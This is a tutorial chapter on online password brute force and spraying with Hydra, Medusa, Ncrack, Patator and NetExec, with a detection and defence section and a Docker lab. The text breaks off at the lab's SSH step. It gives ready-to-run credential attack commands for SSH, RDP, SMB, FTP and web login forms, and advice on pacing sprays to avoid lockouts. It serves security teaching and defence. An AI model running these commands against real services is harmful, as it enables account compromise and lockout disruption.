Hydra: Online Brute Force of Login Services

This is Chapter 3 of the Password Attacks notebook. The previous two chapters lived entirely offline: Chapter 1 established that systems store a one-way hash of a password rather than the password itself, and Chapter 2 built the wordlists that feed the cracking engines. In both, the target was a hash you already possessed — a line from /etc/shadow, an NTLM dump, a captured NTLMv2 challenge-response — and the whole game was computed on your own hardware, silently, with no packets leaving your machine. Nobody on the target side could see you try ten billion candidates a second.

This chapter turns that on its head. Online brute force is the art of attacking authentication against a live service that answers back: an SSH daemon, an FTP server, a web login form, an RDP host, an SMB share. You do not have the hash. You have a login prompt, a username, and a list of guesses, and every single guess is a real network round-trip that the target processes, logs, and can rate-limit or block. Where offline cracking is measured in billions of guesses per second, online cracking is measured in tens per second, and every attempt is written into someone’s authentication log. The economics, the tooling, and the risk profile are completely different — and the tool that has defined this space for two decades is THC-Hydra.

By the end of this chapter you will understand exactly when online brute force is the right call (rarely, and always as a targeted, low-and-slow technique rather than a blunt instrument), how Hydra’s module system maps onto real protocols, and how to write correct Hydra commands for every service you’ll meet on an engagement — including the http-post-form module that trips up more beginners than anything else in the tool. You’ll also learn why a careless Hydra run is one of the loudest, most account-lockout-prone, most instantly-detected things you can do on a network, and how the blue team sees it.

Everything here assumes an authorised, scoped engagement or your own lab. Online brute force against systems you do not own or have explicit written permission to test is unlawful in essentially every jurisdiction under computer-misuse and unauthorised-access legislation — and unlike offline cracking, it is trivially logged and attributable to your source IP. Build the lab described in Part 12, attack only the containers and VMs you stand up yourself, and keep every command inside that boundary.

---

Part 1: Online vs Offline — Two Completely Different Games

Beginners lump “brute force” into one bucket. In practice there are two utterly different disciplines, and confusing them is the single most common conceptual error in password attacks.

Offline attack (Chapters 1–2): you already hold the hash. You compute candidate hashes locally and compare. Nobody on the target side is involved. Speed is bounded only by your hardware — a single RTX 4090 does ~200 GH/s against NTLM. There is no network, no logging on the victim, no lockout, no rate limit. If you have the hash, offline is almost always the correct approach.

Online attack (this chapter): you do not have the hash. You send a candidate password to a live service and observe whether authentication succeeds. Speed is bounded by network latency, the server’s processing time, and — critically — by defensive controls: account lockout, rate limiting, fail2ban, CAPTCHA, MFA. Realistic throughput is 1–100 attempts per second per service, and every attempt is logged with your source IP.

The numbers make the contrast brutal. Consider a wordlist of one million candidates:

Dimension	Offline (hashcat, NTLM, one GPU)	Online (Hydra, SSH)
Throughput	~200,000,000,000 guesses/sec	~10–50 guesses/sec
Time for 1M candidates	< 1 millisecond	~5.5 hours to ~28 hours
Visible to target?	No	Yes — every attempt logged
Triggers lockout?	No	Very likely
Bounded by	Your hardware	Network + defences
Needs the hash?	Yes	No

flowchart TD
    Start["You want to recover a password"] --> Q{"Do you already<br/>have the hash?"}
    Q -->|Yes| Off["OFFLINE attack<br/>hashcat / John<br/>billions/sec, silent"]
    Q -->|No, only a login prompt| On["ONLINE attack<br/>Hydra / Medusa / Ncrack<br/>tens/sec, loud, logged"]
    On --> R{"Defences present?<br/>lockout / rate-limit / MFA"}
    R -->|Yes| Spray["Low-and-slow<br/>password SPRAY<br/>few guesses, many users"]
    R -->|No / lab| Brute["Targeted brute<br/>curated wordlist<br/>tune threads + timeout"]
    Off --> Win["Cracked password"]
    Spray --> Win
    Brute --> Win

The strategic takeaway that governs the rest of this chapter: online brute force is a last resort, not a first move. If you can capture a hash and crack it offline, do that. Online attacks are for the situations where no hash is available — a fresh SSH login prompt on an internal host, a web admin panel, an exposed RDP service — and even then, the professional approach is a narrow, curated, low-and-slow attempt (often a spray, covered in Part 9), not a million-word dictionary hammered at fifty threads until the account locks and the SOC pages the on-call analyst.

Red team usage: in a real engagement the decision tree above is muscle memory. You reach for Hydra only when enumeration (the Scanning & Enumeration notebook) has handed you a valid username and a service with password auth, and you have reason to believe defences are weak or absent. Blue team usage: the same tree tells you where to invest — lockout policy, rate limiting and MFA collapse the entire right-hand branch, forcing attackers back to phishing or hash capture.

---

Part 2: What Hydra Actually Is

THC-Hydra (usually just “hydra”) is a parallelised online login cracker written and maintained by the hacker collective The Hacker’s Choice (THC). It has existed since 2000 and remains the de-facto standard for network authentication brute forcing. Its job is narrow and it does it well: given a target, a protocol module, and lists of usernames and passwords, it opens many connections in parallel and tries every credential combination against the service, reporting which ones the service accepts.

The reason Hydra matters — and why it hasn’t been displaced in over twenty years — is its module system. Authentication looks different on every protocol: SSH negotiates a key exchange then runs the userauth subsystem; FTP sends USER/PASS in cleartext; HTTP Basic auth base64-encodes credentials into a header; an HTTP login form POSTs URL-encoded fields and signals failure with an arbitrary string in the response body. Hydra abstracts all of this into pluggable modules so that the same command-line grammar — target, users, passwords — drives an attack against any of ~50 supported services.

Hydra supports (among many others): ssh, ftp, ftps, telnet, rdp, smb, smtp, pop3, imap, ldap2/ldap3, mysql, postgres, mssql, vnc, snmp, http-get, http-post, http-get-form, http-post-form, https-* variants, http-proxy, cisco, cisco-enable, redis, mongodb, and xmpp. Run hydra -h to see the compiled-in list on your machine (it depends on which optional libraries were present at build time).

flowchart LR
    CLI["hydra CLI<br/>-L users -P passwords<br/>target module"] --> Engine["Hydra core engine<br/>thread pool, task queue,<br/>result matching"]
    Engine --> M1["ssh module"]
    Engine --> M2["ftp module"]
    Engine --> M3["http-post-form module"]
    Engine --> M4["rdp / smb / ...50+ modules"]
    M1 --> S1["SSH daemon :22"]
    M2 --> S2["FTP server :21"]
    M3 --> S3["Web app login :443"]
    M4 --> S4["Other services"]
    S1 -.->|accept / reject| Engine
    S2 -.->|accept / reject| Engine
    S3 -.->|success/fail string| Engine
    S4 -.->|accept / reject| Engine

A companion GUI, xHydra (hydra-gtk), wraps the same engine with point-and-click tabs. Ignore it. Every serious operator drives Hydra from the command line because the GUI hides exactly the flags — thread count, timeout, the form failure string — that you must control to get correct results. This chapter is entirely CLI.

Security relevance: Hydra is a dual-use tool. Defenders use it to validate that their own lockout and rate-limiting controls actually work (“I ran Hydra at 64 threads against our VPN portal and the account locked after 5 attempts as designed”). Attackers use it to find the one service someone forgot to protect. Same binary, opposite intent — which is exactly why this chapter spends as much time on how the attack looks from the defensive side as on how to launch it.

---

Part 3: Installing Hydra

On Kali and Parrot, Hydra is preinstalled. Confirm it and note the version:

hydra -h 2>&1 | head -n 3

Realistic output:

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] ...

The banner tells you two things: the version (features and module support vary by version) and — in the small print — THC’s own ethics disclaimer. Take it seriously.

If Hydra is missing, or you want the newest build with all optional modules compiled in:

# Debian / Ubuntu / Kali package (fast, may lag upstream)
sudo apt update && sudo apt install -y hydra hydra-gtk

# Build from source for the latest version + all modules
sudo apt install -y build-essential libssl-dev libssh-dev libidn11-dev \
     libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev \
     libsvn-dev firebird-dev libncp-dev
git clone https://github.com/vanhauser-thc/thc-hydra.git
cd thc-hydra
./configure          # detects which optional libs are present
make
sudo make install

Walking through the source build, because the flags matter:

• libssh-dev — required for the ssh module. If Hydra was built without it, hydra ... ssh errors out with “Compiled without LIBSSH v0.4.x support”. This is the single most common “why doesn’t SSH work” complaint, and the fix is always to install libssh-dev and rebuild.
• libssl-dev — enables all the https-* and TLS-wrapped modules (SMTPS, IMAPS, POP3S).
• libpq-dev / libmysqlclient-dev — the postgres and mysql database modules.
• ./configure prints a summary of which modules it will build; read it. Anything marked “no” won’t exist in your binary.

Verify the module you care about is present:

hydra -U http-post-form 2>&1 | head -n 20   # -U prints module usage/help

If that prints usage text rather than “unknown service”, the module is compiled in and ready.

---

Part 4: Hydra’s Core Grammar — the Anatomy of a Command

Every Hydra command, no matter the protocol, follows the same skeleton. Learn this once and every module becomes a variation on a theme:

hydra [LOGIN OPTIONS] [PASSWORD OPTIONS] [TUNING] target service [MODULE-OPTIONS]

The two most important axes are who (usernames) and what (passwords), and Hydra uses a deliberate uppercase/lowercase convention that beginners constantly get backwards:

Flag	Meaning	Example
-l LOGIN	a single login name (lowercase L)	-l admin
-L FILE	a file of login names, one per line (uppercase L)	-L users.txt
-p PASS	a single password (lowercase P)	-p 'Summer2025!'
-P FILE	a file of passwords (uppercase P)	-P rockyou.txt
-C FILE	a combined login:pass file — try each pair as-is, no cross-product	-C creds.txt
-e nsr	extra tries: n=null/empty password, s=login as password, r=reversed login	-e nsr
-u	loop users outer, passwords inner (default is passwords outer)	-u
-t TASKS	parallel connections (threads). Default 16	-t 4
-w TIME	max wait time per response, seconds. Default 32	-w 10
-f	stop the whole attack after the first valid pair is found	-f
-F	stop after first found across all hosts (with -M)	-F
-o FILE	write found credentials to FILE	-o found.txt
-b FORMAT	output format for -o: text, json, jsonv1	-b json
-M FILE	attack a list of targets from FILE	-M targets.txt
-s PORT	non-default port	-s 2222
-S	connect via SSL/TLS	-S
-v / -V	verbose / show every login:pass attempt	-V
-d	debug output (protocol-level detail)	-d
-R	restore a previous aborted session from hydra.restore	-R
-I	ignore an existing restore file, start fresh	-I
-x MIN:MAX:CHARSET	generate passwords (brute mode) instead of -P	-x 6:8:a

The mental model for the default cross-product: Hydra tries every username against every password. With -L users.txt (100 users) and -P rockyou.txt (14 million passwords) you have just queued 1.4 billion online attempts. At 20/sec that is over two years of continuous attack — and every account locks out in the first few minutes. This arithmetic is why online brute force is never a “point rockyou at it” affair; it is why Part 9 (spraying) exists.

The -e nsr flag deserves special attention because those three trivial guesses catch a shocking number of real accounts before you spend a single wordlist entry:

• n — the empty/null password (misconfigured service accounts, default installs).
• s — username as password (admin/admin, oracle/oracle).
• r — username reversed (admin/nimda).

Red team usage: always prepend -e nsr to the front of any online attack. It costs three attempts per user and disproportionately finds the low-hanging fruit that curated wordlists miss. Blue team usage: these three patterns are exactly what your detection rules and password-strength policies must forbid first.

---

Part 5: First Real Attack — SSH

SSH is the canonical first target: it’s everywhere, it’s often the entry point to a Linux host, and it cleanly illustrates Hydra’s grammar. Reminder: only against your own lab host (Part 12).

The simplest form — single user, wordlist

hydra -l bob -P /usr/share/wordlists/rockyou.txt -t 4 ssh://10.10.10.50

Breaking every token down:

• -l bob — single known username (you enumerated it earlier via the box’s website, an SMTP VRFY, or a leaked doc).
• -P /usr/share/wordlists/rockyou.txt — the password list. On Kali, rockyou.txt ships gzipped; sudo gunzip /usr/share/wordlists/rockyou.txt.gz once to unpack it.
• -t 4 — four parallel threads. This is deliberate. SSH daemons default to MaxStartups 10:30:100 and often have MaxSessions/MaxAuthTries limits; hammering with the default 16 threads gets connections dropped by the daemon, producing false negatives (Hydra reports “no valid password” when really the server just refused the connections). For SSH, 4 threads is the sweet spot; some hardened hosts need -t 1.
• ssh://10.10.10.50 — the URL-style target: service://host. Equivalent to 10.10.10.50 ssh.

Realistic output of a successful run:

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-01 12:00:01
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ssh://10.10.10.50:22/
[STATUS] 76.00 tries/min, 76 tries in 00:01h, 14344323 to do in 3146:07h, 4 active
[22][ssh] host: 10.10.10.50   login: bob   password: iloveyou1
[STATUS] attack finished for 10.10.10.50 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-01 12:03:42

Read that output carefully — it teaches the whole tool:

• [DATA] ... 14344399 login tries — Hydra tells you the size of the job up front. 14 million tries at 76/min is 3146 hours (the to do in 3146:07h line). This is the reality check: a full rockyou run over SSH is months. You almost never run the whole list; you Ctrl-C and rethink your wordlist.
• [STATUS] 76.00 tries/min — your actual throughput. ~1.3/sec. That’s SSH being slow (each attempt is a full key exchange). This number is why online ≠ offline.
• [22][ssh] host: ... login: bob password: iloveyou1 — the hit. Port, module, host, and the credential.
• Because we didn’t pass -f, Hydra would keep going after the first hit if there were more users. With a single -l, it finishes.

Adding the freebies and stopping on first hit

hydra -l bob -e nsr -P rockyou.txt -t 4 -f -o ssh_creds.txt ssh://10.10.10.50

• -e nsr tries empty / bob / bob reversed first.
• -f — stop the instant a valid pair is found (don’t burn the rest of the list).
• -o ssh_creds.txt — save the hit to a file for your report.

Multiple users

hydra -L users.txt -P top100-passwords.txt -t 4 ssh://10.10.10.50

With a real wordlist this is the cross-product trap: users.txt×top100 = manageable; users.txt×rockyou = never finishes and locks every account. Keep online password lists tiny and targeted — the top few dozen passwords for your target’s region/industry, season+year patterns, defaults for the specific appliance.

sequenceDiagram
    participant H as Hydra (attacker)
    participant S as SSH daemon (target)
    H->>S: TCP connect :22
    S-->>H: SSH banner + KEX
    H->>S: userauth: bob / "123456"
    S-->>H: FAILURE (auth denied)
    H->>S: userauth: bob / "password"
    S-->>H: FAILURE
    H->>S: userauth: bob / "iloveyou1"
    S-->>H: SUCCESS
    Note over H,S: Hydra records the pair,<br/>stops if -f set
    Note over S: sshd logs every FAILURE to<br/>/var/log/auth.log with source IP

Blue team usage: that final note is the whole detection story for SSH. Every failed attempt writes Failed password for bob from 10.10.14.x port ... to auth.log/journald. A burst of these from one IP is the textbook fail2ban / Wazuh / SIEM signature. We return to this in Part 11.

---

Part 6: FTP, RDP, SMB and Other Straightforward Modules

Once you understand the SSH pattern, the “simple” protocol modules are near-identical — only the service name and a few tuning defaults change.

FTP

hydra -L users.txt -P passwords.txt -t 8 -f ftp://10.10.10.50

FTP sends credentials in cleartext and imposes no key exchange, so it’s faster than SSH and tolerates more threads (-t 8–16). Many FTP servers allow anonymous login — always test that first with a plain client before brute forcing:

ftp 10.10.10.50           # try user: anonymous, pass: anything

If anonymous works you may not need Hydra at all. Bug bounty / CTF note: exposed FTP with anonymous:anything or weak creds is a recurring HackTheBox/TryHackMe entry vector and a genuine (if increasingly rare) bounty finding on legacy infrastructure.

RDP (Windows Remote Desktop)

hydra -l Administrator -P passwords.txt -t 1 -W 5 rdp://10.10.10.50

RDP is delicate. Key realities:

• Use -t 1 (single thread). RDP tolerates parallelism badly and modern Windows/NLA will drop or throttle concurrent attempts, producing false negatives.
• -W 5 adds a wait between connection attempts (loop delay), reducing the chance the host throttles you.
• Windows account lockout policy (default in many AD environments: 5 bad attempts → 30-minute lockout) means a careless RDP brute locks the domain account — a very visible, very disruptive event that will get your engagement noticed immediately.
• Ncrack (Part 10) is generally considered more reliable than Hydra for RDP specifically.

SMB

hydra -L users.txt -P passwords.txt -t 1 smb://10.10.10.50

Modern Hydra’s smb module works against SMBv1-ish stacks but is unreliable against current Windows and (again) risks lockout. In practice, professionals attack SMB auth with NetExec (nxc/CrackMapExec) instead, which is lockout-aware and reports the domain password policy:

nxc smb 10.10.10.50 -u users.txt -p passwords.txt
# nxc marks valid creds with [+] and (Pwn3d!) if admin

We cover NetExec fully in the Scanning & Enumeration and Active Directory notebooks; the point here is that for Windows/AD services, lockout-aware tools beat Hydra, and knowing which tool to reach for is part of the skill.

Telnet, POP3, IMAP, SMTP, VNC, database services

The pattern holds:

hydra -l admin -P passwords.txt telnet://10.10.10.50
hydra -l root  -P passwords.txt mysql://10.10.10.50
hydra -L users.txt -P passwords.txt -s 5432 postgres://10.10.10.50
hydra -l user -P passwords.txt pop3://mail.lab.local
hydra -P passwords.txt -s 5900 vnc://10.10.10.50   # VNC often has no username

VNC is a useful special case: classic VNC auth uses a password only, no username, so you omit -l/-L entirely and just supply -P.

Service	Module	Typical -t	Notes
SSH	ssh	4	needs libssh; slow; MaxAuthTries
FTP	ftp	8–16	cleartext; test anonymous first
Telnet	telnet	4–8	fragile prompt parsing; verify manually
RDP	rdp	1	lockout risk; Ncrack often better
SMB	smb	1	use NetExec instead for AD
MySQL	mysql	4	test root empty password
PostgreSQL	postgres	4	default port 5432
VNC	vnc	4	password only, no username
SMTP/POP3/IMAP	smtp/pop3/imap	4–8	add -S for TLS variants

---

Part 7: HTTP Basic and Digest Authentication

Web authentication splits into two very different worlds. The first — HTTP authentication built into the protocol — is easy. The second — HTML login forms — is the hard part, and gets its own Part 8.

HTTP Basic auth is the browser pop-up dialog: the server responds 401 Unauthorized with a WWW-Authenticate: Basic header, and the client resends the request with an Authorization: Basic base64(user:pass) header. Success returns 200, failure returns 401. Because success/failure is a clean HTTP status code, Hydra doesn’t need you to describe the failure condition — it just watches the status.

hydra -L users.txt -P passwords.txt 10.10.10.50 http-get /admin/

• http-get — the module for Basic/Digest auth over a GET request.
• /admin/ — the protected path (the module option). This is the resource that returns 401 until you authenticate.
• For HTTPS: use https-get or add -S, e.g. hydra ... -S 10.10.10.50 https-get /admin/.
• Non-standard port: -s 8080.

Digest auth (a challenge-response variant that avoids sending the password in cleartext) uses the same module — Hydra handles the digest handshake automatically.

Realistic output:

[80][http-get] host: 10.10.10.50   login: admin   password: admin123

Bug bounty note: Basic-auth-protected staging sites, .htpasswd-guarded admin panels, and router/printer/IoT web UIs are exactly where http-get earns its keep. Many embedded devices ship with documented defaults (admin:admin, admin:password) — a -e nsr plus a small default-creds list often pops them in seconds. This is also why default-credential findings remain a staple of real disclosed reports on HackerOne/Bugcrowd for exposed device management interfaces.

sequenceDiagram
    participant H as Hydra
    participant W as Web server
    H->>W: GET /admin/ (no auth)
    W-->>H: 401 Unauthorized<br/>WWW-Authenticate: Basic
    H->>W: GET /admin/<br/>Authorization: Basic YWRtaW46YWRtaW4=
    W-->>H: 401 (wrong creds)
    H->>W: GET /admin/<br/>Authorization: Basic YWRtaW46YWRtaW4xMjM=
    W-->>H: 200 OK
    Note over H,W: 200 = success. Hydra keys<br/>off the status code automatically.

---

Part 8: The Hard One — http-post-form

The overwhelming majority of real web logins are HTML forms: a <form method="POST"> that submits username and password fields, and on failure re-renders the login page with some error text like “Invalid credentials”. There is no 401 — a failed login returns 200 OK with an error message in the body, and a successful login also returns 200 (often a redirect). Hydra cannot guess which is which, so you must tell it how to recognise failure. This is the single most error-prone thing in the entire tool, and getting it right is a rite of passage.

The three-colon syntax

The http-post-form module option is one string split by colons into three parts:

"PATH:POST-BODY:FAILURE-CONDITION"

1. PATH — the URL the form POSTs to (the action attribute), e.g. /login.php.
2. POST-BODY — the exact form data, with ^USER^ and ^PASS^ as placeholders Hydra substitutes: username=^USER^&password=^PASS^.
3. FAILURE-CONDITION — a string that appears in the response only when login fails, prefixed with F=. Alternatively use S= for a string that appears only on success.

Step 1: capture the real request

Never guess the field names. Open the login page, submit dummy creds, and capture the request — with Burp Suite (Proxy → HTTP history), the browser DevTools Network tab, or curl -v. You are looking for three things: the POST path, the exact field names, and the failure text.

Suppose DevTools shows the form POSTs to /login.php with body username=x&password=y&Login=Login, and a failed login renders the string Invalid credentials. in the page. That’s everything you need.

Step 2: build the command

Attacking the classic DVWA / bWAPP-style login in the lab:

hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  -t 16 -f \
  10.10.10.50 http-post-form \
  "/login.php:username=^USER^&password=^PASS^&Login=Login:Invalid credentials."

Dissecting the module string:

• /login.php — the POST target path.
• username=^USER^&password=^PASS^&Login=Login — the POST body. ^USER^/^PASS^ get substituted each attempt. Include every field the real form sends, including hidden fields and submit buttons like Login=Login — omit one and the app may reject the request outright, producing all-fail results.
• Invalid credentials. — the failure string. Hydra flags a login as successful whenever this string is absent from the response. Choose it carefully: it must appear on every failed login and never on a success.

Because web servers handle many concurrent connections happily, http-post-form tolerates higher thread counts (-t 16–64) than SSH — subject to rate limiting and WAFs.

Realistic successful output:

[DATA] attacking http-post-form://10.10.10.50:80/login.php:username=^USER^&password=^PASS^&Login=Login:Invalid credentials.
[80][http-post-form] host: 10.10.10.50   login: admin   password: password
[STATUS] attack finished for 10.10.10.50 (valid pair found)

F= vs S= — matching failure or success

Sometimes there’s no reliable failure string but there is a reliable success signal (e.g. a redirect to /dashboard, a Set-Cookie: session=, or the word “Logout”). Use S= instead:

".../login.php:username=^USER^&password=^PASS^:S=Logout"

Now Hydra treats the presence of Logout as success. Rule of thumb: prefer F= on a failure string because failure pages are usually stable; use S= when failure text varies but success is distinctive.

Extra module parameters (the fourth+ colons)

http-post-form accepts optional appended parameters, each introduced by a colon and a letter:

Param	Purpose	Example
H=	add a custom header (repeatable)	:H=X-Requested-With: XMLHttpRequest
C=	fetch this page first to grab a cookie/CSRF token	:C=/login.php
F=	failure string (default match mode)	:F=Invalid
S=	success string (overrides failure logic)	:S=Location: /dash

Handling a CSRF token is the classic advanced case. Many forms include a hidden <input name="csrf_token"> that changes every page load; a static POST body fails because the token is stale. The C= parameter tells Hydra to GET the login page first (picking up the cookie), but Hydra cannot parse a dynamic token out of the HTML and re-insert it — that’s beyond its capability. When you hit a per-request CSRF token, the correct tools are:

• ffuf / wfuzz with a scripted token fetch, or
• a short Python requests script (Programming for Security notebook) that GETs the page, regex-extracts the token, and POSTs credentials in a loop, or
• Burp Intruder with a recursive-grep payload that extracts the token from each response.

Knowing when Hydra is the wrong tool is as important as knowing its syntax.

flowchart TD
    A["Web login to attack"] --> B{"Auth type?"}
    B -->|"Browser popup / 401"| C["http-get / http-post<br/>(Basic/Digest)<br/>Hydra keys off status code"]
    B -->|"HTML form, 200 on fail"| D{"Per-request<br/>CSRF token?"}
    D -->|No| E["hydra http-post-form<br/>PATH:BODY:F=failstring"]
    D -->|Yes, static per session| F["hydra ... :C=/login<br/>to grab cookie"]
    D -->|Yes, dynamic per request| G["NOT Hydra:<br/>Python requests /<br/>Burp Intruder /<br/>ffuf with token grep"]

GET-form variant

If the form submits via GET (credentials in the query string), swap the module to http-get-form with the identical three-colon syntax:

hydra -l admin -P passwords.txt 10.10.10.50 http-get-form \
  "/login:user=^USER^&pass=^PASS^:F=incorrect"

Blue team usage: form-based brute force is visible in web server access logs as a flood of POST /login.php 200 from one IP, and in the app’s own auth logs as repeated failed logins for one or many users. WAF rate-limiting rules and per-account throttling are the direct counters, covered in Part 11.

---

Part 9: Password Spraying — the Professional Alternative

Everything so far has quietly assumed the naive model: pick a user, throw many passwords at them. Against any target with an account-lockout policy that is a self-defeating strategy — you lock the account long before you exhaust a wordlist, and you generate an unmissable alert. Password spraying inverts the loop and is the technique real operators actually use against authenticated services.

The idea: instead of many passwords against one user, try one password (or a handful) against many users. Almost every organisation of any size has someone using Winter2025!, Company@123, or Password1. If you try that single password against 500 usernames, you get at most one failed attempt per account — nowhere near a lockout threshold — while statistically landing a valid credential across the population.

flowchart LR
    subgraph Brute["Brute force (loud, locks accounts)"]
        U1["user: alice"] --> P1["1000 passwords"]
        P1 --> L1["ACCOUNT LOCKED<br/>+ SOC alert"]
    end
    subgraph Spray["Password spray (quiet, safe)"]
        PW["1 password:<br/>Winter2025!"] --> M["500 users<br/>1 attempt each"]
        M --> Hit["~1-5 valid<br/>no lockouts"]
    end

Spraying with Hydra

Hydra sprays naturally: put many users in -L, a single password in -p (or a tiny -P file), and crucially loop users outer so you exhaust all users at one password before moving on:

hydra -L users.txt -p 'Winter2025!' -u -t 4 -o spray1.txt ssh://10.10.10.50

• -L users.txt — the whole user population you enumerated.
• -p 'Winter2025!' — one carefully chosen password (season+year+! is the eternal favourite).
• -u — loop users first, password second. Without -u, Hydra’s default (passwords outer) doesn’t matter with a single -p, but -u becomes essential the moment you have a few passwords and want to spray password-by-password with a delay between rounds.
• Space out multiple passwords across time. If policy is “5 failures per 30 minutes”, try one password across all users, then wait past the lockout observation window before the next password. Hydra has no built-in inter-round sleep for this, so scripted sprays (a for loop with sleep, or a dedicated tool) are the norm.

Why lockout policy dictates spray cadence

You must know (or safely estimate) the lockout policy before spraying:

• Lockout threshold — how many bad attempts trigger a lock (commonly 3–10).
• Observation window — the period over which those attempts are counted (commonly 15–30 min).
• Lockout duration — how long the account stays locked.

The safe rule: attempts-per-account within one observation window < threshold, always with a margin (threshold − 2). One password per window is the conservative default. For Windows/AD, nxc smb <dc> -u users.txt -p 'Password1' --continue-on-success reads and respects the policy and is the standard spraying tool; Hydra is the generic cross-protocol option.

Red team usage: spraying is often the initial access technique on an internal pentest — enumerate users from AD/LinkedIn, spray one seasonal password, land a foothold, no lockouts, minimal noise. Blue team usage: spraying defeats simple per-account lockout detection precisely because each account sees only one failure. Detecting it requires correlating failures across many accounts from one source (or one password) in a window — a horizontal, not vertical, detection. This is the single most important online-attack detection concept and is expanded in Part 11.

---

Part 10: Alternatives and When to Prefer Them — Medusa, Ncrack, Patator

Hydra is not the only online cracker, and part of expertise is choosing the right one.

Medusa — a parallel brute-forcer with a similar goal and, some argue, cleaner threading for certain modules. Syntax differs:

medusa -h 10.10.10.50 -U users.txt -P passwords.txt -M ssh -t 4
# -h host, -U userfile, -P passfile, -M module, -t threads

Medusa’s design does per-host and per-user parallelism differently, and for large host lists (-H hosts.txt) it can be more efficient. Its module names and options differ from Hydra’s; check medusa -d for the module list and medusa -M http -q for module-specific help.

Ncrack — from the Nmap project, tuned for reliability against RDP, SSH and a curated set of services, with a timing-template model like Nmap’s -T:

ncrack -p 3389 --user Administrator -P passwords.txt 10.10.10.50
ncrack -p 22 -U users.txt -P passwords.txt -T4 10.10.10.50

Ncrack is widely regarded as the most reliable RDP brute forcer and integrates with Nmap output. Prefer it when Hydra’s rdp module gives flaky results.

Patator — a Python multi-purpose brute forcer whose party trick is being modular and scriptable: it treats each attempt’s response (status code, length, message) as data you can filter on, which makes it superb for weird custom HTTP logic, CSRF-token loops, and services Hydra doesn’t handle cleanly:

patator http_fuzz url=http://10.10.10.50/login.php method=POST \
  body='username=admin&password=FILE0' 0=passwords.txt \
  -x ignore:fgrep='Invalid credentials'
# fail-filter on the failure string, like Hydra's F= but far more flexible

Tool	Sweet spot	Weak spot
Hydra	broadest protocol coverage; http-post-form for simple web logins	dynamic CSRF; RDP reliability
Medusa	large host lists; stable threading	fewer modules than Hydra
Ncrack	RDP, SSH; Nmap integration; timing control	narrower service set
Patator	custom HTTP logic, response filtering, CSRF loops	steeper learning curve
NetExec (nxc)	SMB/WinRM/LDAP spraying, lockout-aware, AD-native	Windows-focused

The professional habit: Hydra or Patator for web and generic services, Ncrack for RDP, NetExec for Windows/AD. One tool never wins everywhere.

---

Part 11: Detection & Defense Angle

Online brute force is the noisiest technique in the offensive catalogue. This section consolidates how it looks from the defensive side and how to stop it — essential for red teamers (to predict what trips you) and mandatory for blue teamers.

What the attack looks like in the logs

Every protocol leaves a distinctive footprint, all sharing one signature: many authentication failures from one source in a short window.

• SSH (/var/log/auth.log, journald sshd): Failed password for <user> from <ip> port <p> ssh2, dozens to thousands per minute from one IP. Failed password for invalid user <x> if the username doesn’t exist — a strong brute-force indicator on its own.
• Windows / RDP / SMB (Security event log): Event ID 4625 (failed logon) in bursts; 4740 (account lockout) if a vertical brute crosses the threshold; 4771/4768 Kerberos pre-auth failures for AD sprays. A spray shows many 4625s across many accounts from one workstation/IP.
• Web forms (access + app logs): a flood of POST /login 200 from one IP, or many 401s for http-get. Constant request size and cadence betray automation.

flowchart LR
    A["Auth failures<br/>stream in"] --> B{"Correlation<br/>window"}
    B --> C{"Many fails,<br/>ONE account,<br/>one IP?"}
    C -->|Yes| V["VERTICAL brute force<br/>→ lockout + alert"]
    B --> D{"One-two fails EACH<br/>across MANY accounts,<br/>one IP / one password?"}
    D -->|Yes| S["HORIZONTAL spray<br/>→ correlate to catch"]
    V --> R["Block source IP,<br/>lock target, notify"]
    S --> R

The controls that actually work

Control	What it stops	Notes
Account lockout policy	vertical brute force	5–10 fails → temp lock. Beware DoS-by-lockout; use temporary, auto-unlocking locks
Rate limiting / throttling	fast brute + spray	delay or drop after N attempts per IP/account/window
fail2ban / SSHGuard	SSH/FTP/web brute	parse logs, auto-firewall the offending IP after a threshold
MFA / 2FA	everything	a valid password alone is insufficient — collapses the whole attack class
CAPTCHA	automated form abuse	after N failed web logins
Network exposure reduction	remote brute entirely	don’t expose RDP/SSH/SMB to the internet; VPN + allowlist
Strong password policy	dictionary/spray success	forbids Season+Year!, top-N passwords, username-as-password
Horizontal-failure detection	password spraying	SIEM rule: >X accounts failing from one IP/one password per window

The two highest-leverage controls are MFA (a cracked password becomes useless) and horizontal-failure correlation (the only reliable way to catch a well-paced spray, since per-account lockout never fires). A mature SOC alerts on: single IP causing 4625/failed-SSH across ≥10 distinct accounts in 10 minutes; the same password failing across many accounts; and logins from an IP that just generated a failure storm (possible successful spray → immediate investigation).

fail2ban in one glance (defensive lab)

sudo apt install -y fail2ban
sudo tee /etc/fail2ban/jail.d/sshd.local >/dev/null <<'EOF'
[sshd]
enabled = true
maxretry = 5          # 5 failures...
findtime = 600        # ...within 600s...
bantime  = 3600       # ...bans the IP for 1 hour
EOF
sudo systemctl restart fail2ban
sudo fail2ban-client status sshd   # watch banned IPs accumulate under attack

Run Hydra against your own fail2ban-protected SSH lab host and watch your attacking IP get firewalled after five attempts — the clearest possible demonstration of why untuned online brute force fails against a defended target, and why low-and-slow exists.

---

Part 12: Hands-On Lab — Build It, Break It, Detect It

A complete, reproducible lab you can stand up on one machine with Docker. Everything here is your own container/VM. Never point any command in this chapter at a system you do not own.

12.1 Stand up vulnerable targets

# An SSH target with a known-weak account
docker run -d --name ssh-lab -p 2222:22 \
  -e USER_NAME=bob -e USER_PASSWORD=iloveyou1 \
  linuxserver/openssh-server   # (or build your own; set a rockyou-present password)

# A vulnerable web app with a form login (DVWA)
docker run -d --name dvwa -p 8080:80 vulnerables/web-dvwa
# Browse http://localhost:8080, log in admin/password once, set security = Low

Create a tiny, realistic user list and a small password list (never rockyou for a live demo — it’s too slow to finish):

printf 'root\nadmin\nbob\nalice\n' > users.txt
printf '123456\npassword\niloveyou1\nWinter2025!\nadmin\n' > small.txt

12.2 Attack SSH

